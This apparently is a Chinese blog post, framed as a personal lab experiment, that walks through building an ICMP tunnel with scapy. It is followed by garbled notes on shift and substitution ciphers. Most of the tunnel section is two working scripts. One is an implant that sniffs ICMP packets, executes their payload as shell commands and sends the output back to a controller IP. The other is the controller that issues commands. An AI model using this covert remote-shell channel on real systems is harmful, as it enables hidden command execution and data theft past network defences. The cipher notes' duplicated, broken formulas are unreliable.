2022/05/30

ICMP隧道实验

原文链接
想做一下这个实验,网上也有工具实现,但是想自己编程
工具链接
看原文python代码中用了socket,但是我们用scapy模块实验一下
现在用一下这个师傅的代码,不过有的地方要改一下才能运行。

被控端源代码原理为
监听ICMP包,把data放到到一个变量,命令执行它
控制端源代码原理为
发送ICMP包把命令字符串放到data里面

#!/usr/bin/env python3
#被控端
import os
from scapy.all import *

def main():
    while True:
        # wait for the ICMP message containing the command from the C2 server
        # to be received
        rx = sniff(filter="icmp", count=1)
        # strip down the packet to the payload itself
        var = rx[0][Raw].load.decode('utf-8')
        # run the command and save the result
        print(var)
        res = os.popen(var).read()
        # build the ICMP packet with the result as the payload
        send(IP(dst="XXXXXXXXXX")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)

if __name__ == "__main__":
    main()
from scapy.all import *
from scapy.layers.inet import ICMP
#控制端

def main():
    while True:
        command = input('# Enter command: ')
        pinger = IP(dst="XXXXXXXXXX")/ICMP(id=0x0001, seq=0x1)/command
        send(pinger)
        rx = sniff(count=1, timeout=2)
        print(rx[0].load.decode('utf-8'))
        #把原来的rx[0][Raw].load.decode('utf-8')
        #凭感觉改成rx[0].load.decode('utf-8')

if __name__ == "__main__":
    main()

我的实验的被控端是kali虚拟机,网络设置为桥接模式。
看一下IP,把它填到控制端代码IP的dst里面
我的控制端是Windows,同理,把它的IP填到被控端代码里面请添加图片描述
如图有可能有解码错误,以后研究一下为什么

密码学原理与实践学习

P \mathcal{P} P为明文(plaintext)
C \mathcal{C} C或者 e \mathcal{\Large{e}} e为密文(ciphertext)
K \mathcal{K} K为密钥(key)
Z \mathbb Z Zm表示集合 { 0 , 1 , … , m − 1 } \left\{\begin{matrix}0,1,^\ldots,m-1\end{matrix}\right\} {0,1,,m1}
在这里插入图片描述

移位密码

请添加图片描述

在移位密码的集合中
P + K = C \mathcal P +\mathcal K = \mathcal C P+K=C
( P + K ) m o d m (\mathcal{P+K}) mod m (P+K)modm等于 C m o d m \mathcal C mod m Cmodm
左右减 K \mathcal K K
P = C − K \mathcal{P = C - K} P=CK
这样就可以解释当 K \mathcal K K作为密钥,加密 P \mathcal P P得到的 C \mathcal C C可以减 K \mathcal K K m o d m modm modm可以得到 P \mathcal P P

代换密码

请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值